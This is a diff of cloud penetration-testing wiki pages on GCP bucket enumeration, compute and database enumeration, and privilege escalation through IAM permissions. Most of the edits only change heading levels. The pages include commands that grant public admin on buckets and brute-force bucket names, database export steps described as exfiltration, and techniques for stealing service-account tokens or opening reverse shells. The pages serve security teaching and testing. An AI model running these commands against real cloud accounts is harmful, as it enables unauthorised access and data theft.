Cloud Functions * [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute): This tool in GCP brute-force Buckets and Apps. -#### Buckets +## Buckets As other clouds, GCP also offers Buckets to its users. These buckets might be (to list the content, read, write...). @@ -41,11 +40,11 @@ The following tools can be used to generate variations of the name given and sea * [https://github.com/RhinoSecurityLabs/GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute) -### Privilege Escalation +# Privilege Escalation If the bucket policy allowed either “allUsers” or “allAuthenticatedUsers” to **write to their bucket policy** (the **storage.buckets.setIamPolicy** permission)**,** then anyone can modify the bucket policy and grant himself full access. -#### Check Permissions +## Check Permissions There are 2 ways to check the permissions over a bucket. The first one is to ask for them by making a request to `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam` or running `gsutil iam get gs://BUCKET_NAME`. @@ -53,7 +52,7 @@ However, if your user (potentially belonging to allUsers or allAuthenticatedUser The other option which will always work is to use the testPermissions endpoint of the bucket to figure out if you have the specified permission, for example accessing: `https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update` -#### Escalating +## Escalating With the “gsutil” Google Storage CLI program, we can run the following command to grant “allAuthenticatedUsers” access to the “Storage Admin” role, thus **escalating the privileges we were granted** to the bucket: @@ -63,7 +62,7 @@ gsutil iam ch group:allAuthenticatedUsers:admin gs://BUCKET_NAME One of the main attractions to escalating from a LegacyBucketOwner to Storage Admin is the ability to use the “storage.buckets.delete” privilege. In theory, you could **delete the bucket after escalating your privileges, then you could create the bucket in your own account to steal the name**. -### References +# References * [https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/](https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/) diff --git a/cloud-security/gcp-security/gcp-buckets-enumeration.md b/cloud-security/gcp-security/gcp-buckets-enumeration.md index 5561e30e..ab56e723 100644 --- a/cloud-security/gcp-security/gcp-buckets-enumeration.md +++ b/cloud-security/gcp-security/gcp-buckets-enumeration.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Buckets Enumeration - Default configurations permit read access to storage. This means that you may **enumerate ALL storage buckets in the project**, including **listing** and **accessing** the contents inside. This can be a MAJOR vector for privilege escalation, as those buckets can contain secrets. @@ -48,19 +46,19 @@ If you get a permission denied error listing buckets you may still have access t for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done ``` -### Search Open Buckets +## Search Open Buckets With the following script [gathered from here](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\_misc/-/blob/master/find\_open\_buckets.sh) you can find all the open buckets: ```bash #!/bin/bash -############################# +############################ # Run this tool to find buckets that are open to the public anywhere # in your GCP organization. # # Enjoy! -############################# +############################ for proj in $(gcloud projects list --format="get(projectId)"); do echo "[*] scraping project $proj" diff --git a/cloud-security/gcp-security/gcp-compute-enumeration.md b/cloud-security/gcp-security/gcp-compute-enumeration.md index 5b0a9136..3d67e113 100644 --- a/cloud-security/gcp-security/gcp-compute-enumeration.md +++ b/cloud-security/gcp-security/gcp-compute-enumeration.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Compute Enumeration - -## Compute instances +# Compute instances It would be interesting if you can **get the zones** the project is using and the **list of all the running instances** and details about each of them. @@ -33,7 +31,7 @@ The details may include: ```bash # Get list of zones -## It's interesting to know which zones are being used +# It's interesting to know which zones are being used gcloud compute regions list | grep -E "NAME|[^0]/" # List compute instances & get info @@ -53,7 +51,7 @@ For more information about how to **SSH** or **modify the metadata** of an insta [gcp-local-privilege-escalation-ssh-pivoting.md](gcp-local-privilege-escalation-ssh-pivoting.md) {% endcontent-ref %} -### Custom Metadata +## Custom Metadata Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the instance and project level. This is simply a way to pass **arbitrary key/value pairs into an instance**, and is commonly used for environment variables and startup/shutdown scripts. This can be obtained using the `describe` method from a command in the previous section, but it could also be retrieved from the inside of the instance accessing the metadata endpoint. @@ -67,7 +65,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?re -H "Metadata-Flavor: Google" ``` -### Serial Console Logs +## Serial Console Logs Compute instances may be **writing output from the OS and BIOS to serial ports**. Serial console logs may expose **sensitive information** from the system logs which low privileged user may not usually see, but with the appropriate IAM permissions you may be able to read them. @@ -91,7 +89,7 @@ You can then [export](https://cloud.google.com/sdk/gcloud/reference/compute/imag $ gcloud compute images list --no-standard-images ``` -### Local Privilege Escalation and Pivoting +## Local Privilege Escalation and Pivoting If you compromises a compute instance you should also check the actions mentioned in this page: @@ -99,9 +97,9 @@ If you compromises a compute instance you should also check the actions mentione [gcp-local-privilege-escalation-ssh-pivoting.md](gcp-local-privilege-escalation-ssh-pivoting.md) {% endcontent-ref %} -## Images +# Images -### Custom Images +## Custom Images **Custom compute images may contain sensitive details** or other vulnerable configurations that you can exploit. You can query the list of non-standard images in a project with the following command: @@ -127,7 +125,7 @@ gcloud compute images list --project windows-cloud --no-standard-images #non-Shi gcloud compute images list --project gce-uefi-images --no-standard-images #available Shielded VM images, including Windows images ``` -### Custom Instance Templates +## Custom Instance Templates An [instance template](https://cloud.google.com/compute/docs/instance-templates/) defines instance properties to help deploy consistent configurations. These may contain the same types of sensitive data as a running instance's custom metadata. You can use the following commands to investigate: @@ -139,7 +137,7 @@ $ gcloud compute instance-templates list $ gcloud compute instance-templates describe [TEMPLATE NAME] ``` -## More Enumeration +# More Enumeration | Description | Command | | ---------------------- | --------------------------------------------------------------------------------------------------------- | diff --git a/cloud-security/gcp-security/gcp-databases-enumeration.md b/cloud-security/gcp-security/gcp-databases-enumeration.md index b2bfa113..179387ed 100644 --- a/cloud-security/gcp-security/gcp-databases-enumeration.md +++ b/cloud-security/gcp-security/gcp-databases-enumeration.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Databases Enumeration - Google has [a handful of database technologies](https://cloud.google.com/products/databases/) that you may have access to via the default service account or another set of credentials you have compromised thus far. Databases will usually contain interesting information, so it would be completely recommended to check them. Each database type provides various **`gcloud` commands to export the data**. This typically involves **writing the database to a cloud storage bucket first**, which you can then download. It may be best to use an existing bucket you already have access to, but you can also create your own if you want. As an example, you can follow [Google's documentation](https://cloud.google.com/sql/docs/mysql/import-export/exporting) to exfiltrate a Cloud SQL database. -### [Cloud SQL](https://cloud.google.com/sdk/gcloud/reference/sql/) +## [Cloud SQL](https://cloud.google.com/sdk/gcloud/reference/sql/) Cloud SQL instances are **fully managed, relational MySQL, PostgreSQL and SQL Server databases**. Google handles replication, patch management and database management to ensure availability and performance.[Learn more](https://cloud.google.com/sql/docs/) @@ -39,7 +37,7 @@ gcloud sql backups list --instance [INSTANCE] gcloud sql export sql gs:///cloudsql/export.sql.gz --database ``` -### [Cloud Spanner](https://cloud.google.com/sdk/gcloud/reference/spanner/) +## [Cloud Spanner](https://cloud.google.com/sdk/gcloud/reference/spanner/) Fully managed relational database with unlimited scale, strong consistency, and up to 99.999% availability. @@ -50,7 +48,7 @@ gcloud spanner databases list --instance [INSTANCE] gcloud spanner backups list --instance [INSTANCE] ``` -### [Cloud Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) +## [Cloud Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability. [Learn more](https://cloud.google.com/bigtable). @@ -61,7 +59,7 @@ gcloud bigtable clusters list gcloud bigtable backups list --instance [INSTANCE] ``` -### [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/) +## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/) Cloud Firestore is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud. Like Firebase Realtime Database, it keeps your data in sync across client apps through realtime listeners and offers offline support for mobile and web so you can build responsive apps that work regardless of network latency or Internet connectivity. Cloud Firestore also offers seamless integration with other Firebase and Google Cloud products, including Cloud Functions. [Learn more](https://firebase.google.com/docs/firestore). @@ -71,11 +69,11 @@ gcloud firestore indexes fields list gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios' ``` -### [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/) +## [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/) The Firebase Realtime Database is a cloud-hosted NoSQL database that lets you store and sync data between your users in realtime. [Learn more](https://firebase.google.com/products/realtime-database/). -### Memorystore +## Memorystore Reduce latency with scalable, secure, and highly available in-memory service for [**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) and [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache). Learn more. @@ -87,7 +85,7 @@ gcloud redis instances list --region [region] gcloud redis instances export gs://my-bucket/my-redis-instance.rdb my-redis-instance --region=us-central1 ``` -### [Bigquery](https://cloud.google.com/bigquery/docs/bq-command-line-tool) +## [Bigquery](https://cloud.google.com/bigquery/docs/bq-command-line-tool) BigQuery is a fully-managed enterprise data warehouse that helps you manage and analyze your data with built-in features like machine learning, geospatial analysis, and business intelligence. BigQuery’s serverless architecture lets you use SQL queries to answer your organization’s biggest questions with zero infrastructure management. BigQuery’s scalable, distributed analysis engine lets you query terabytes in seconds and petabytes in minutes. [Learn more](https://cloud.google.com/bigquery/docs/introduction). diff --git a/cloud-security/gcp-security/gcp-interesting-permissions/README.md b/cloud-security/gcp-security/gcp-interesting-permissions/README.md index 37053111..da35d9e0 100644 --- a/cloud-security/gcp-security/gcp-interesting-permissions/README.md +++ b/cloud-security/gcp-security/gcp-interesting-permissions/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Abuse GCP Permissions - -## Introduction to GCP Privilege Escalation +# Introduction to GCP Privilege Escalation GCP, as any other cloud, have some **principals**: users, groups and service accounts, and some **resources** like compute engine, cloud functions…\ Then, via roles, **permissions are granted to those principals over the resources**. This is the way to specify the permissions a principal has over a resource in GCP.\ @@ -41,7 +39,7 @@ It's important to note also that in **GCP Service Accounts are both principals a The permissions between parenthesis indicate the permissions needed to exploit the vulnerability with `gcloud`. Those might not be needed if exploiting it through the API. {% endhint %} -## Privilege Escalation to Principals +# Privilege Escalation to Principals Check all the **known permissions** that will allow you to **escalate privileges over other principals** in: @@ -49,7 +47,7 @@ Check all the **known permissions** that will allow you to **escalate privileges [gcp-privesc-to-other-principals.md](gcp-privesc-to-other-principals.md) {% endcontent-ref %} -## Privilege Escalation to Resources +# Privilege Escalation to Resources Check all the **known permissions** that will allow you to **escalate privileges over other resources** in: @@ -57,7 +55,7 @@ Check all the **known permissions** that will allow you to **escalate privileges [gcp-privesc-to-resources.md](gcp-privesc-to-resources.md) {% endcontent-ref %} -## +#
diff --git a/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md b/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md index 37b66491..e3685d15 100644 --- a/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md +++ b/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals.md @@ -17,16 +17,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# GCP - Privesc to other Principals - {% hint style="info" %} GCP has **hundreds of permissions**. This is just a list containing the **known** ones that could allow you to escalate to other principals.\ If you know about any other permissions not mentioned here, **please send a PR to add it** or let me know and I will add it. {% endhint %} -## IAM +# IAM -### iam.roles.update (iam.roles.get) +## iam.roles.update (iam.roles.get) If you have the mentioned permissions you will be able to update a role assigned to you and give you extra permissions to other resources like: @@ -36,13 +34,13 @@ gcloud iam roldes update --project --add-permissions +## iam.serviceAccounts.setIamPolicy This permission allows to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the “roles/iam.serviceAccountTokenCreator” role over the interesting SA: @@ -88,13 +86,13 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.** -### iam.serviceAccounts.actAs +## iam.serviceAccounts.actAs This means that as part of creating certain resources, you must “actAs” the Service Account for the call to complete successfully. For example, when starting a new Compute Engine instance with an attached Service Account, you need _iam.serviceAccounts.actAs_ on that Service Account. This is because without that permission, users could escalate permissions with fewer permissions to start with. **There are multiple individual methods that use \_iam.serviceAccounts.actAs**\_**, so depending on your own permissions, you may only be able to exploit one (or more) of these methods below**. These methods are slightly different in that they **require multiple permissions to exploit, rather than a single permission** like all of the previous methods. -### iam.serviceAccounts.getOpenIdToken +## iam.serviceAccounts.getOpenIdToken This permission can be used to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource. @@ -124,23 +122,23 @@ Some services that support authentication via this kind of tokens are: You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). -## resourcemanager +# resourcemanager -### resourcemanager.organizations.setIamPolicy +## resourcemanager.organizations.setIamPolicy Like in the exploitation of [**iam.serviceAccounts.setIamPolicy**](gcp-privesc-to-other-principals.md#iam.serviceaccounts.setiampolicy), this permission allows you to **modify** your **permissions** against **any resource** at **organization** level. So, you can follow the same exploitation example. -### resourcemanager.folders.setIamPolicy +## resourcemanager.folders.setIamPolicy Like in the exploitation of [**iam.serviceAccounts.setIamPolicy**](gcp-privesc-to-other-principals.md#iam.serviceaccounts.setiampolicy), this permission allows you to **modify** your **permissions** against **any resource** at **folder** level. So, you can follow the same exploitation example. -### resourcemanager.projects.setIamPolicy +## resourcemanager.projects.setIamPolicy Like in the exploitation of [**iam.serviceAccounts.setIamPolicy**](gcp-privesc-to-other-principals.md#iam.serviceaccounts.setiampolicy), this permission allows you to **modify** your **permissions** against **any resource** at **project** level. So, you can follow the same exploitation example. -## deploymentmanager +# deploymentmanager -### deploymentmanager.deployments.create +## deploymentmanager.deployments.create This single permission lets you **launch new deployments** of resources into GCP with arbitrary service accounts. You could for example launch a compute instance with a SA to escalate to it. @@ -148,19 +146,19 @@ You could actually **launch any resource** listed in `gcloud deployment-manager In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.** -### deploymentmanager.deployments.**update** +## deploymentmanager.deployments.**update** This is like the previous abuse but instead of creating a new deployment, you modifies one already existing (so be careful) Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.** -### deploymentmanager.deployments.**setIamPolicy** +## deploymentmanager.deployments.**setIamPolicy** This is like the previous abuse but instead of directly creating a new deployment, you first give you that access and then abuses the permission as explained in the previos _deploymentmanager.deployments.create_ section. -## cloudbuild +# cloudbuild -### cloudbuild.builds.create +## cloudbuild.builds.create With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the powerful cloudbuild Service Account**: `@cloudbuild.gserviceaccount.com` . However, you can **indicate any service account inside the project** in the cloudbuild configuration.\ Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change). @@ -169,13 +167,13 @@ You can find the original exploit script [**here on GitHub**](https://github.com For a more in-depth explanation visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### cloudbuild.builds.update +## cloudbuild.builds.update **Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API). -## compute +# compute -### compute.projects.setCommonInstanceMetadata +## compute.projects.setCommonInstanceMetadata With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\ Limitations: @@ -189,25 +187,25 @@ For more information about how to exploit this permission check: [gcp-local-privilege-escalation-ssh-pivoting.md](../gcp-local-privilege-escalation-ssh-pivoting.md) {% endcontent-ref %} -### compute.instances.setMetadata +## compute.instances.setMetadata This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations applies**. -### compute.instances.setIamPolicy +## compute.instances.setIamPolicy This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. -### **compute.instances.osLogin** +## **compute.instances.osLogin** If OSLogin is enabled in the instance, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You won't have root privs inside the instance. -### **compute.instances.osAdminLogin** +## **compute.instances.osAdminLogin** If OSLogin is enabled in the instance, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have root privs inside the instance. -## container +# container -### container.clusters.get +## container.clusters.get This permission allows to **gather credentials for the Kubernetes cluster** using something like: @@ -221,24 +219,24 @@ Without extra permissions, the credentials are pretty basic as you can **just li Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet. {% endhint %} -### container.clusters.getCredentials +## container.clusters.getCredentials Apparently this permission might be useful to gather auth credentials (basic auth method isn't supported anymore by GKE if you use the latest GKE versions). -### container.roles.escalate/container.clusterRoles.escalate +## container.roles.escalate/container.clusterRoles.escalate **Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour. **container.roles.create** and/or **container.roles.update** OR **container.clusterRoles.create** and/or **container.clusterRoles.update** respectively are also **necessary** to perform those privilege escalation actions.\ -### container.roles.bind/container.clusterRoles.bind +## container.roles.bind/container.clusterRoles.bind **Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour. **container.roleBindings.create** and/or **container.roleBindings.update** OR **container.clusterRoleBindings.create** and/or **container.clusterRoleBindings.update** respectively are also **necessary** to perform those privilege escalation actions. -### container.cronJobs.create, container.cronJobs.update container.daemonSets.create, container.daemonSets.update container.deployments.create, container.deployments.update container.jobs.create, container.jobs.update container.pods.create, container.pods.update container.replicaSets.create, container.replicaSets.update container.replicationControllers.create, container.replicationControllers.update container.scheduledJobs.create, container.scheduledJobs.update container.statefulSets.create, container.statefulSets.update +## container.cronJobs.create, container.cronJobs.update container.daemonSets.create, container.daemonSets.update container.deployments.create, container.deployments.update container.jobs.create, container.jobs.update container.pods.create, container.pods.update container.replicaSets.create, container.replicaSets.update container.replicationControllers.create, container.replicationControllers.update container.scheduledJobs.create, container.scheduledJobs.update container.statefulSets.create, container.statefulSets.update All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\ For more information check: @@ -249,30 +247,30 @@ For more information check: As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used). -### container.secrets.get, container.secrets.list +## container.secrets.get, container.secrets.list As [**explained in this page**](../../pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/#listing-secrets), with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them. -### container.pods.exec +## container.pods.exec With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**. -### container.pods.portForward +## container.pods.portForward As [**explained in this page**](../../pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/#port-forward), with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.** -### container.serviceAccounts.createToken +## container.serviceAccounts.createToken Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it. -### container.mutatingWebhookConfigurations.create, container.mutatingWebhookConfigurations.update +## container.mutatingWebhookConfigurations.create, container.mutatingWebhookConfigurations.update These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\ For more information [**follow this link**](../../pentesting-kubernetes/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller). -## storage +# storage -### storage.hmacKeys.create +## storage.hmacKeys.create There is a feature of Cloud Storage, “interoperability”, that provides a way for Cloud Storage to interact with storage offerings from other cloud providers, like AWS S3. As part of that, there are HMAC keys that can be created for both Service Accounts and regular users. We can **escalate Cloud Storage permissions by creating an HMAC key for a higher-privileged Service Account**. @@ -282,14 +280,14 @@ HMAC keys belonging to your user cannot be accessed through the API and must be The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). -### storage.objects.get +## storage.objects.get This permission allows you to **download files stored inside Gcp Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some Gcp services stores their information in buckets: * **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code. * **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**. -### storage.objects.create, storage.objects.delete +## storage.objects.create, storage.objects.delete In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object\_permissions), you need also `storage.objects.delete` to **modify** an existent object. @@ -301,15 +299,15 @@ Moreover, several GCP services also **store code inside buckets** that later is * **GCR (Container Registry)**: The **container images are stored inside buckets**. So if you have write access over them, you could **modify the images** and execute your own code whenever that container is used. * The bucket used by GCR will have an URL similar to `gs://.artifacts..appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). -### storage.objects.setIamPolicy +## storage.objects.setIamPolicy You can give you permission to **abuse any of the previous scenarios of this section**. -## storage.objects Write permission +# storage.objects Write permission If you can modify or add objects in buckets you might be able to escalate your privileges to other resources that are using the bucket to store code that they execute. -### Composer +## Composer **Composer** is **Apache Airflow** managed inside GCP. It has several interesting features: @@ -317,7 +315,7 @@ If you can modify or add objects in buckets you might be able to escalate your p * It stores the **code in a bucket**, therefore, **anyone with write access over that bucket** is going to be able change/add a DGA code (the code Apache Airflow will execute)\ Then, if you have **write access over the bucket Composer is using** to store the code you can **privesc to the SA running in the GKE cluster**. -## References +# References * [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) * [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#gcp-privesc-scanner) diff --git a/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-resources.md b/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-resources.md index dbe76df1..b76686c2 100644 --- a/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-resources.md +++ b/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-resources.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# GCP - Privesc to Resources +# cloudfunctions -## cloudfunctions - -### cloudfunctions.functions.create,iam.serviceAccounts.actAs +## cloudfunctions.functions.create,iam.serviceAccounts.actAs For this method, we will be **creating a new Cloud Function with an associated Service Account** that we want to gain access to. Because Cloud Function invocations have **access to the metadata** API, we can request a token directly from it, just like on a Compute Engine instance. @@ -40,7 +38,7 @@ The script creates the function and waits for it to deploy, then it runs it and The exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). -### cloudfunctions.functions.update,iam.serviceAccounts.actAs +## cloudfunctions.functions.update,iam.serviceAccounts.actAs Similar to _cloudfunctions.functions.create_, this method **updates (overwrites) an existing function instead of creating a new one**. The API used to update the function also allows you to **swap the Service Account if you have another one you want to get the token for**. The script will update the target function with the malicious code, then wait for it to deploy, then finally invoke it to be returned the Service Account access token. @@ -52,9 +50,9 @@ The following **permissions are required** for this method: The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). -## compute +# compute -### compute.instances.create,iam.serviceAccounts.actAs +## compute.instances.create,iam.serviceAccounts.actAs This method **creates a new Compute Engine instance with a specified Service Account**, then **sends the token** belonging to that Service Account to an **external server.** @@ -72,9 +70,9 @@ The following **permissions are required** for this method: The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py). -## run +# run -### run.services.create,iam.serviceAccounts.actAs +## run.services.create,iam.serviceAccounts.actAs Similar to the _cloudfunctions.functions.create_ method, this method creates a **new Cloud Run Service** that, when invoked, **returns the Service Account’s** access token by accessing the metadata API of the server it is running on. A Cloud Run service will be deployed and a request can be performed to it to get the token. @@ -90,9 +88,9 @@ This method uses an included Docker image that must be built and hosted to explo The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). -## Cloudscheduler +# Cloudscheduler -### cloudscheduler.jobs.create,iam.serviceAccounts.actAs +## cloudscheduler.jobs.create,iam.serviceAccounts.actAs Cloud Scheduler allows you to set up cron jobs targeting arbitrary HTTP endpoints. **If that endpoint is a \*.googleapis.com endpoint**, then you can also tell Scheduler that you want it to authenticate the request **as a specific Service Account**, which is exactly what we want. @@ -114,9 +112,9 @@ To escalate our privileges with this method, we just need to **craft the HTTP re A similar method may be possible with Cloud Tasks, but we were not able to do it in our testing. -## orgpolicy +# orgpolicy -### orgpolicy.policy.set +## orgpolicy.policy.set This method does **not necessarily grant you more IAM permissions**, but it may **disable some barriers** that are preventing certain actions. For example, there is an Organization Policy constraint named _appengine.disableCodeDownload_ that prevents App Engine source code from being downloaded by users of the project. If this was enabled, you would not be able to download that source code, but you could use _orgpolicy.policy.set_ to disable the constraint and then continue with the source code download. @@ -126,13 +124,13 @@ The screenshot above shows that the _appengine.disableCodeDownload_ constraint i The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py). -## serviceusage +# serviceusage The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._ Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges. -### serviceusage.apiKeys.create +## serviceusage.apiKeys.create There is another method of authenticating with GCP APIs known as API keys. By default, they are created with no restrictions, which means they have access to the entire GCP project they were created in. We can capitalize on that fact by creating a new API key that may have more privileges than our own user. There is no official API for this, so a custom HTTP request needs to be sent to _https://apikeys.clients6.google.com/_ (or _https://apikeys.googleapis.com/_). This was discovered by monitoring the HTTP requests and responses while browsing the GCP web console. For documentation on the restrictions associated with API keys, visit [this link](https://cloud.google.com/docs/authentication/api-keys). @@ -146,7 +144,7 @@ The screenshot above shows a POST request being sent to retrieve a new API key f The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/serviceusage.apiKeys.create.py). -### serviceusage.apiKeys.list +## serviceusage.apiKeys.list Another undocumented API was found for listing API keys that have already been created (this can also be done in the web console). Because you can still see the API key’s value after its creation, we can pull all the API keys in the project. @@ -156,13 +154,13 @@ The screenshot above shows that the request is exactly the same as before, it ju The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/serviceusage.apiKeys.list.py). -## apikeys +# apikeys The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a 